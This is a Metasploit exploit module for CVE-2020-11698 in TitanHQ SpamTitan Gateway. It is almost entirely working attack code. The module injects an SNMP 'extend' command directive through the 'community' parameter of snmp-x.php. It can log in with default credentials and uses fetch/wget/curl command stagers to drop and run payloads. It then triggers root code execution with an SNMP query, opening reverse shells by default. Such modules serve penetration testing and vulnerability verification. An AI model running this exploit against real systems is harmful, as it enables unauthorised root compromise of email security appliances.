##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::SNMPClient
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SpamTitan Unauthenticated RCE',
        'Description' => %q{
          TitanHQ SpamTitan Gateway is an anti-spam appliance that protects against
          unwanted emails and malwares. This module exploits an improper input
          sanitization in versions 7.01, 7.02, 7.03 and 7.07 to inject command directives
          into the SNMP configuration file and get remote code execution as root. Note
          that only version 7.03 needs authentication and no authentication is required
          for versions 7.01, 7.02 and 7.07.

          First, it sends an HTTP POST request to the `snmp-x.php` page with an `SNMPD`
          command directives (`extend` + command) passed to the `community` parameter.
          This payload is then added to `snmpd.conf` by the application. Finally, the
          module triggers the execution of this command by querying the SNMP server for
          the correct OID.

          This exploit module has been successfully tested against versions 7.01, 7.02,
          7.03, and 7.07.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Christophe De La Fuente', # MSF module
          'Felipe Molina' # original PoC
        ],
        'References' => [
          [ 'EDB', '48856' ],
          [ 'URL', 'https://www.titanhq.com/spamtitan/spamtitangateway/'],
          [ 'CVE', '2020-11698']
        ],
        'CmdStagerFlavor' => %i[fetch wget curl],
        'Payload' => {
          'DisableNops' => true
        },
        'Targets' => [
          [
            'Unix In-Memory',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
              'Payload' => {
                'BadChars' => "\\'#",
                'Encoder' => 'cmd/perl',
                'PrependEncoder' => '/bin/tcsh -c \'',
                'AppendEncoder' => '\'#',
                'Space' => 470
              },
              'Type' => :unix_memory
            }
          ],
          [
            'FreeBSD Dropper (x64)',
            {
              'Platform' => 'bsd',
              'Arch' => [ARCH_X64],
              'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' },
              'Payload' => {
                'BadChars' => "'#",
                'Space' => 450
              },
              'Type' => :bsd_dropper
            }
          ],
          [
            'FreeBSD Dropper (x86)',
            {
              'Platform' => 'bsd',
              'Arch' => [ARCH_X86],
              'DefaultOptions' => { 'PAYLOAD' => 'bsd/x86/shell_reverse_tcp' },
              'Payload' => {
                'BadChars' => "'#",
                'Space' => 450
              },
              'Type' => :bsd_dropper
            }
          ]
        ],
        'DisclosureDate' => '2020-04-17',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(80, true, 'The target HTTP port'),
        OptPort.new('SNMPPORT', [ true, 'The target SNMP port (UDP)', 161 ]),
        OptString.new('TARGETURI', [ true, 'The base path to SpamTitan', '/' ]),
        OptString.new(
          'USERNAME',
          [
            false,
            'Username to authenticate, if required (depending on SpamTitan Gateway version)',
            'admin'
          ]
        ),
        OptString.new(
          'PASSWORD',
          [
            false,
            'Password to authenticate, if required (depending on SpamTitan Gateway version)',
            'hiadmin'
          ]
        ),
        OptString.new(
          'COMMUNITY',
          [
            false,
            'The SNMP Community String to use (random string by default)',
            Rex::Text.rand_text_alpha(8)
          ]
        ),
        OptString.new(
          'ALLOWEDIP',
          [
            false,
            'The IP address that will be allowed to query the injected `extend` '\
            'command. This IP will be added to the SNMP configuration file on the '\
            'target. This is tipically this host IP address, but can be different if '\
            'your are in a NAT\'ed network. If not set, `LHOST` will be used '\
            'instead. If `LHOST` is not set, it will default to `127.0.0.1`.'
          ]
        ),
      ], self.class
    )
  end

  def check
    snmp_x_uri = normalize_uri(target_uri.path, 'snmp-x.php')
    vprint_status("Check if #{snmp_x_uri} exists")
    res = send_request_cgi(
      'uri' => snmp_x_uri,
      'method' => 'GET'
    )

    if res.nil?
      return Exploit::CheckCode::Unknown.new(
        "Could not connect to SpamTitan vulnerable page (#{snmp_x_uri}) - no response"
      )
    end

    if res.code == 302
      vprint_status(
        'This version of SpamTitan requires authentication. Trying with the '\
        'provided credentials.'
      )
      res = send_request_cgi(
        'uri' => '/index.php',
        'method' => 'POST',
        'vars_post' => {
          'jaction' => 'none',
          'language' => 'en_US',
          'address' => datastore['USERNAME'],
          'passwd' => datastore['PASSWORD']
        }
      )
      if res.nil?
        return Exploit::CheckCode::Safe.new('Unable to authenticate - no response')
      end

      if res.code == 200 && res.body =~ /Invalid username or password/
        return Exploit::CheckCode::Safe.new(
          'Unable to authenticate - Invalid username or password'
        )
      end
      unless res.code == 302
        return Exploit::CheckCode::Unknown.new(
          "Unable to authenticate - Unexpected HTTP response code: #{res.code}"
        )
      end

      # For whatever reason, the web application sometimes returns multiple
      # PHPSESSID cookies and only the last one is valid. So, make sure only
      # the valid one is part of the cookie_jar.
      cookies = res.get_cookies.split(' ')
      php_session = cookies.select { |cookie| cookie.starts_with?('PHPSESSID=') }.last
      cookie_jar.clear
      cookie_jar.add(php_session)
      remaining_cookies = cookies.delete_if { |cookie| cookie.starts_with?('PHPSESSID=') }
      cookie_jar.merge(remaining_cookies)

      res = send_request_cgi(
        'uri' => snmp_x_uri,
        'method' => 'GET'
      )
    end

    unless res.code == 200
      return Exploit::CheckCode::Safe.new(
        "Could not connect to SpamTitan vulnerable page (#{snmp_x_uri}) - "\
        "unexpected HTTP response code: #{res.code}"
      )
    end

    Exploit::CheckCode::Appears
  rescue ::Rex::ConnectionError => e
    vprint_error("Connection error: #{e}")
    return Exploit::CheckCode::Unknown.new(
      "Could not connect to SpamTitan vulnerable page (#{snmp_x_uri})"
    )
  end

  def exploit
    if target['Type'] == :unix_memory
      execute_command(payload.encoded)
    else
      execute_cmdstager(linemax: payload_info['Space'].to_i, noconcat: true)
    end
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end

  def inject_payload(community)
    snmp_x_uri = normalize_uri(target_uri.path, 'snmp-x.php')
    print_status("Send a request to #{snmp_x_uri} and inject the payload")

    post_params = {
      'jaction' => 'saveAll',
      'contact' => 'CONTACT',
      'name' => 'SpamTitan',
      'location' => 'LOCATION',
      'community' => community
    }

    # First, grab the CSRF token, if any (depending on the version)
    res = send_request_cgi(
      'uri' => '/snmp.php',
      'method' => 'GET'
    )
    if res.code == 200
      doc = ::Nokogiri::HTML(res.body)
      csrf_name = doc.xpath('//input[@name=\'CSRFName\']/attribute::value').first&.value
      csrf_token = doc.xpath('//input[@name=\'CSRFToken\']/attribute::value').first&.value
      if csrf_name && csrf_token
        print_status('CSRF token found')
        post_params['CSRFName'] = csrf_name
        post_params['CSRFToken'] = csrf_token
      end
    end

    res = send_request_cgi(
      'uri' => snmp_x_uri,
      'method' => 'POST',
      'vars_post' => post_params
    )
    if res.nil?
      fail_with(Failure::Unreachable,
                "#{peer} - Unable to inject the payload - no response")
    end
    unless res.code == 200
      fail_with(Failure::UnexpectedReply,
                "#{peer} - Unable to inject the payload - unexpected HTTP response "\
                "code: #{res.code}")
    end
    begin
      json_res = JSON.parse(res.body)['success']
    rescue JSON::ParserError
      json_res = nil
    end
    unless json_res
      fail_with(Failure::UnexpectedReply,
                "#{peer} - Unable to inject the payload - Unknown error: #{res.body}")
    end
  end

  def trigger_payload(name)
    print_status('Send an SNMP Get-Request to trigger the payload')

    # RPORT needs to be specified since the default value is set to the web
    # service port.
    connect_snmp(true, 'RPORT' => datastore['SNMPPORT'])
    begin
      res = snmp.get("1.3.6.1.4.1.8072.1.3.2.3.1.1.8.#{name.bytes.join('.')}")
      msg = "SNMP Get-Request response (status=#{res.error_status}): "\
            "#{res.each_varbind.map(&:value).join('|')}"
      if res.error_status == :noError
        vprint_good(msg)
      else
        vprint_error(msg)
      end
    rescue SNMP::RequestTimeout, IOError
      # not always expecting a response here, so timeout is likely to happen
    end
  end

  def execute_command(cmd, _opts = {})
    if target['Type'] == :bsd_dropper
      # 'tcsh' is the default shell on FreeBSD
      # Also, make sure it runs in background (&) to avoid blocking
      cmd = "/bin/tcsh -c '#{[cmd.gsub('\'', '\\\\\'').gsub('\\', '\\\\\\')].shelljoin}&'#"
    end
    name = Rex::Text.rand_text_alpha(8)
    ip = datastore['ALLOWEDIP'] || datastore['LHOST'] || '127.0.0.1'
    if ip == '127.0.0.1'
      print_warning(
        'Neither ALLOWEDIP and LHOST has been set and 127.0.0.1 will be used'\
        'instead. It will probably fail to trigger the payload.'
      )
    end

    # The injected payload consists of two lines:
    # 1. the community string and the IP address allowed to query this
    #    community string
    # 2. the `extend` keyword, the name token used to trigger the payload
    #    and the actual command to execute
    community = "#{datastore['COMMUNITY']}\" #{ip}\nextend #{name} #{cmd}"
    inject_payload(community)

    # The previous HTTP POST request made the application restart the SNMPD
    # service. So, wait a bit to make sure it is running.
    sleep(2)

    trigger_payload(name)
  end
end
